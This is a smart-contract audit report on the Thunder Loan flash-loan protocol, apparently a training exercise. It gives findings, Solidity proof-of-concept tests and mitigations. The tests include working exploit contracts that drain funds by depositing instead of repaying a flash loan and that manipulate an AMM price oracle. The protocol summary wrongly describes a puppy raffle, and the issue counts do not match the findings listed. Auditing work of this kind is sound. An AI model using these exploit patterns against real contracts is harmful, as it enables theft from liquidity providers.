

# **Thunder Loan Initial Audit Report**

Version 0.1

2

# Thunder Loan Audit Report

### Sauron

September 14, 2024

# **Thunder Loan Audit Report**

Prepared by: Sauron Lead Auditors:

Sauron

**Assisting Auditors:** 

None

# **Table of contents**

# See table

- Thunder Loan Audit Report
- Table of contents
- About Sauron
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
- Protocol Summary
  - Roles
- Executive Summary

- Issues found
- Findings
  - High
    - \* [H-1] Erroneous ThunderLoan::updateExchangeRate in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate
    - \* [H-2] Mixing up variable location causes storage collisions in ThunderLoan:: s\_flashLoanFee and ThunderLoan::s\_currentlyFlashLoaning
    - \* [H-3] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol
  - Medium
    - \* [M-1] Centralization risk for trusted owners
    - \* [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks
  - Low
    - \* [L-1] Empty Function Body Consider commenting why
    - \* [L-2] Initializers could be front-run
    - \* [L-3] Missing critial event emissions
  - Informational
    - \* [I-1] Poor Test Coverage
  - Gas
    - \* [GAS-1] Using bools for storage incurs overhead
    - \* [GAS-2] Using **private** rather than **public** for constants, saves gas
    - \* [GAS-3] Unnecessary SLOAD when logging new exchange rate

### **About Sauron**

**Security Reviewer** 

## Disclaimer

The Sauron team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

# **Risk Classification**

		Impact		
		High	Medium	Low
Likelihood	High	Н	H/M	М
	Medium	H/M	М	M/L
	Low	M	M/L	L

## **Audit Details**

## The findings described in this document correspond the following commit hash:

```
1 026da6e73fde0dd0a650d623d0411547e3188909
```

# Scope

```
1 #-- interfaces
2 | #-- IFlashLoanReceiver.sol
3 | #-- IPoolFactory.sol
4 | #-- ITSwapPool.sol
5 | #-- IThunderLoan.sol
6 #-- protocol
7 | #-- AssetToken.sol
8 | #-- OracleUpgradeable.sol
9 | #-- ThunderLoan.sol
10 #-- ThunderLoanUpgraded.sol
```

# **Protocol Summary**

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

# **Roles**

• Owner: The owner of the protocol who has the power to upgrade the implementation.

- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

# **Executive Summary**

### **Issues found**

Severity	Number of issues found	
High	3	
Medium	2	
Low	3	
Info	1	
Gas	2	
Total	11	

# **Findings**

# High

[H-1] Erroneous ThunderLoan::updateExchangeRate in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

**Description:** In the ThunderLoan system, the exchangeRate is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the deposit function, update this rate, without collecting any fees.

```
assetToken.mint(msg.sender, mintAmount);

vuint256 calculatedFee = getCalculatedFee(token, amount);

assetToken.updateExchangeRate(calculatedFee);

token.safeTransferFrom(msg.sender, address(assetToken), amount)

;

}
```

# Impact: There are several impacts to this bug.

- 1. The redeem function is blocked, becasue the protocol thinks the owed tokens is more thant it has
- 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

### **Proof of Concept:**

- 1. LP deposit
- 2. User takes out a flash loan
- 3. It is now impossible for LP to redeem

#### Proof of Code

Place the following into ThunderLoanTest.t.sol

```
1
       function testredeemAfterLoan() public setAllowedToken hasDeposits {
2
           uint256 amountToBorrow = AMOUNT * 10;
           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
3
               amountToBorrow);
           vm.startPrank(user):
5
           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
6
               amountToBorrow, "");
7
           vm.stopPrank();
           uint256 amountToRedeem = type(uint256).max;
8
9
           vm.startPrank(liquidityProvider);
           thunderLoan.redeem(tokenA, amountToRedeem);
10
11
       }
```

### **Recommended Mitigation:** Removed the incorrectly updated exchange rate lines from deposit.

```
8 - assetToken.updateExchangeRate(calculatedFee);
9 token.safeTransferFrom(msg.sender, address(assetToken), amount)
;
10 }
```

# [H-2] Mixing up variable location causes storage collisions in ThunderLoan::s\_flashLoanFee and ThunderLoan::s\_currentlyFlashLoaning

**Description:** Thunder Loan . sol has two variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a different order.

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the s\_flashLoanFee will have the value of s\_feePrecision. You cannot adjust the positions of storage variables when working with upgradeable contracts.

**Impact:** After upgrade, the s\_flashLoanFee will have the value of s\_feePrecision. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the s\_currentlyFlashLoaning mapping will start on the wrong storage slot.

#### **Proof of Code:**

PoC

Add the following code to the ThunderLoanTest.t.sol file.

```
1 // You'll need to import `ThunderLoanUpgraded` as well
  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
      ThunderLoanUpgraded.sol";
3
4 function testUpgradeBreaks() public {
           uint256 feeBeforeUpgrade = thunderLoan.getFee();
5
6
           vm.startPrank(thunderLoan.owner());
           ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
7
8
           thunderLoan.upgradeTo(address(upgraded));
           uint256 feeAfterUpgrade = thunderLoan.getFee();
9
11
           assert(feeBeforeUpgrade != feeAfterUpgrade);
12
       }
```

You can also see the storage layout difference by running forge inspect ThunderLoan storage and forge inspect ThunderLoanUpgraded storage

**Recommended Mitigation:** Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In ThunderLoanUpgraded. sol:

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

# [H-3] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

**Description:** In the ThunderLoan contract, a malicious user can exploit the deposit function to bypass the repayment mechanisms. By using a flash loan, the user can deposit funds into the contract instead of repaying the loan, allowing them to withdraw assets without actually repaying the borrowed amount.

**Impact:** This vulnerability enables an attacker to siphon funds from the contract, resulting in financial losses for liquidity providers and compromising the integrity of the protocol. Users may lose confidence in the system, which could harm the adoption and usage of the protocol.

### **Proof of Code:**

PoC

```
1 //[...]
3 function testUseDepositInsteadOfRepayToStealFund() public
      setAllowedToken hasDeposits {
4
      vm.startPrank(user);
5
      uint256 amountToBorrow = 50e18;
6
      uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
       DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
7
      tokenA.mint(address(dor), fee);
8
       thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
9
10
       dor.redeemMoney();
       vm.stopPrank();
11
12
13
      assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
14 }
15
16 //[...]
17
18 contract DepositOverRepay is IFlashLoanReceiver {
```

```
ThunderLoan thunderLoan;
19
20
       AssetToken assetToken;
21
       IERC20 s_token;
22
23
       constructor(address _thunderLoan) {
24
            thunderLoan = ThunderLoan(_thunderLoan);
25
       }
26
27
       function executeOperation(
28
           address token,
29
           uint256 amount,
           uint256 fee,
31
           address /*initiator*/,
           bytes calldata /*params*/
32
       )
34
            external
           returns (bool)
38
           s_token = IERC20(token);
           assetToken = thunderLoan.getAssetFromToken(IERC20(token));
39
40
           IERC20(token).approve(address(thunderLoan), amount + fee);
           thunderLoan.deposit(IERC20(token), amount + fee);
41
42
            return true;
       }
43
44
45
       function redeemMoney() public {
            uint256 amount = assetToken.balanceOf(address(this));
46
47
           thunderLoan.redeem(s_token, amount);
48
       }
49 }
```

**Recommended Mitigation:** To address this vulnerability, implement a check in the deposit function to ensure that the caller is not attempting to deposit funds without first repaying any outstanding loans. This can be achieved by adding a condition that verifies the user's loan status before allowing the deposit operation. Additionally, consider redesigning the contract's logic to separate the deposit and repayment functionalities more clearly, ensuring that users cannot exploit the deposit function to bypass repayment.

### Medium

# [M-1] Centralization risk for trusted owners

**Description:** The ThunderLoan protocol has an owner with privileged rights to perform administrative tasks, such as setting allowed tokens and upgrading the contract. This centralization creates a risk, as the owner must be trusted not to perform malicious actions, such as draining funds or making harmful

updates. If the owner acts maliciously or is compromised, it could lead to significant financial losses for users and undermine the integrity of the protocol.

**Impact:** Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

*Instances (2):* 

Contralized owners can brick redemptions by disapproving of a specific token

**Recommended Mitigation:** To mitigate this risk, consider implementing a multi-signature wallet for administrative functions, requiring multiple parties to approve critical actions. Additionally, establish a governance mechanism that allows the community to participate in decision-making processes, reducing reliance on a single trusted owner. This approach enhances security and accountability within the protocol.

### [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

**Description:** The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

**Impact:** Liquidity providers will drastically reduced fees for providing liquidity.

### **Proof of Concept:**

The following all happens in 1 transaction.

- 1. User takes a flash loan from Thunder Loan for 1000 tokenA. They are charged the original fee fee1. During the flash loan, they do the following:
  - 1. User sells 1000 tokenA, tanking the price.
  - 2. Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.
    - 1. Due to the fact that the way Thunder Loan calculates price based on the TSwapPool this second flash loan is substantially cheaper.

3. The user then repays the first flash loan, and then repays the second flash loan.

#### Proof of Code

Place the following into ThunderLoanTest.t.sol

```
contract ThunderLoanTest is BaseTest {
2
       //[...]
3
       function testOracleManipulation() public {
           thunderLoan = new ThunderLoan();
5
           tokenA = new ERC20Mock();
           proxy = new ERC1967Proxy(address(thunderLoan), "");
6
           BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
8
           address tswapPool = pf.createPool(address(tokenA));
9
           thunderLoan = ThunderLoan(address(proxy));
10
           thunderLoan.initialize(address(pf));
11
12
           vm.startPrank(liquidityProvider);
13
           tokenA.mint(liquidityProvider, 100e18);
           tokenA.approve(address(tswapPool), 100e18);
14
           weth.mint(liquidityProvider, 100e18);
15
           weth.approve(address(tswapPool), 100e18);
16
           BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
17
               timestamp);
18
           vm.stopPrank();
19
           vm.prank(thunderLoan.owner());
20
21
           thunderLoan.setAllowedToken(tokenA, true);
22
           vm.startPrank(liquidityProvider);
23
           tokenA.mint(liquidityProvider, 1000e18);
           tokenA.approve(address(thunderLoan), 1000e18);
24
25
           thunderLoan.deposit(tokenA, 1000e18);
26
           vm.stopPrank();
27
           uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
28
               100e18);
29
           console.log("Normal fee cost: ", normalFeeCost);
31
           uint256 amountToBorrow = 50e18;
32
           MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
               (address(tswapPool), address(thunderLoan), address(
               thunderLoan.getAssetFromToken(tokenA)));
```

```
34
           vm.startPrank(user);
           tokenA.mint(address(flr), 100e18);
            thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
               ;
           vm.stopPrank();
           uint256 attackFee = flr.feeOne() + flr.feeTwo();
           console.log("Attack fee: ", attackFee);
40
41
           assert(attackFee < normalFeeCost);</pre>
42
       }
43 }
44
45 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
46
       ThunderLoan thunderLoan;
47
       address repayAddress;
48
       BuffMockTSwap tswapPool;
       bool attacked;
49
       uint256 public feeOne;
51
       uint256 public feeTwo;
       constructor(address _tswapPool, address _thunderLoan, address
52
           _repayAddress) {
53
           tswapPool = BuffMockTSwap(_tswapPool);
54
           thunderLoan = ThunderLoan(_thunderLoan);
55
            repayAddress = _repayAddress;
       }
57
       function executeOperation(
58
59
           address token,
           uint256 amount,
61
           uint256 fee,
           address /*initiator*/,
62
63
           bytes calldata /*params*/
       )
64
           external
67
           returns (bool)
            {
69
                if (!attacked) {
                    feeOne = fee;
                    attacked = true;
72
                    uint256 wethBought = tswapPool.
                       getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
                    IERC20(token).approve(address(tswapPool), 50e18);
                    tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50
74
                       e18, wethBought, block.timestamp);
75
                    thunderLoan.flashloan(address(this), IERC20(token),
                       amount, "");
                    // IERC20(token).approve(address(thunderLoan), amount +
```

```
79
                    // thunderLoan.repay(IERC20(token), amount + fee);
                    IERC20(token).transfer(address(repayAddress), amount +
                       fee);
                } else {
81
82
                    feeTwo = fee;
                    // IERC20(token).approve(address(thunderLoan), amount +
84
85
                    // thunderLoan.repay(IERC20(token), amount + fee);
                    IERC20(token).transfer(address(repayAddress), amount +
                       fee);
                }
87
                return true;
           }
90 }
```

**Recommended Mitigation:** Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

### Low

### [L-1] Empty Function Body - Consider commenting why

**Description:** The function \_authorizeUpgrade in the ThunderLoan contract has an empty body. This can lead to confusion for developers and auditors, as it is unclear why the function exists without any implementation. An empty function body may suggest that the function is incomplete or that the developer intended to add logic later but forgot to do so.

*Instances (1):* 

```
1 File: src/protocol/ThunderLoan.sol
2
3 261: function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

**Recommended Mitigation:** To improve code clarity, consider adding a comment explaining the purpose of the empty function body. This could include information about its intended use, why it is left empty, or any future plans for implementation. This practice helps maintain code readability and assists other developers in understanding the design decisions made in the contract.

### [L-2] Initializers could be front-run

**Description:** Initializers in the ThunderLoan protocol could be vulnerable to front-running attacks. This allows an attacker to set their own values, take ownership of the contract, or force a re-deployment.

Such vulnerabilities can compromise the integrity of the contract and lead to unauthorized access or manipulation of critical functionalities.

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
1 File: src/protocol/OracleUpgradeable.sol
2
3 11: function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol
1
2
            function initialize(address tswapAddress) external initializer
3
   138:
4
5
  138:
            function initialize(address tswapAddress) external initializer
6
7
  139:
                 __Ownable_init();
8
9
   140:
                __UUPSUpgradeable_init();
10
                __Oracle_init(tswapAddress);
11 141:
```

**Recommended Mitigation:** To mitigate this risk, implement a mechanism to prevent front-running, such as using a nonce or a time-lock for initializer functions. Additionally, consider requiring a multisignature approval for critical initializations to ensure that no single party can exploit the initializer without consensus from multiple stakeholders. This enhances the security of the contract during its initialization phase.

### [L-3] Missing critial event emissions

**Description:** When the ThunderLoan::s\_flashLoanFee is updated, there is no event emitted

**Recommended Mitigation:** Emit an event when the ThunderLoan::s\_flashLoanFee is updated.

```
1 + event FlashLoanFeeUpdated(uint256 newFee);
2 .
3 .
4 .
5 function updateFlashLoanFee(uint256 newFee) external onlyOwner {
    if (newFee > s_feePrecision) {
```

```
7          revert ThunderLoan__BadNewFee();
8      }
9          s_flashLoanFee = newFee;
10 +          emit FlashLoanFeeUpdated(newFee);
11 }
```

### **Informational**

### [I-1] Poor Test Coverage

**Recommended Mitigation:** Aim to get test coverage up to over 90% for all files.

### Gas

# [GAS-1] Using bools for storage incurs overhead

Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 98: mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

# [GAS-2] Using private rather than public for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter

functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

*Instances (3):* 

```
1 File: src/protocol/AssetToken.sol
2
3 25: uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
4
5 96:     uint256 public constant FEE_PRECISION = 1e18;
```

# [GAS-3] Unnecessary SLOAD when logging new exchange rate

In AssetToken::updateExchangeRate, after writing the newExchangeRate to storage, the function reads the value from storage again to log it in the ExchangeRateUpdated event.

To avoid the unnecessary SLOAD, you can log the value of newExchangeRate.

"'diff s\_exchangeRate = newExchangeRate; - emit ExchangeRateUpdated(s\_exchangeRate); + emit ExchangeRateUpdated(newExchangeRate);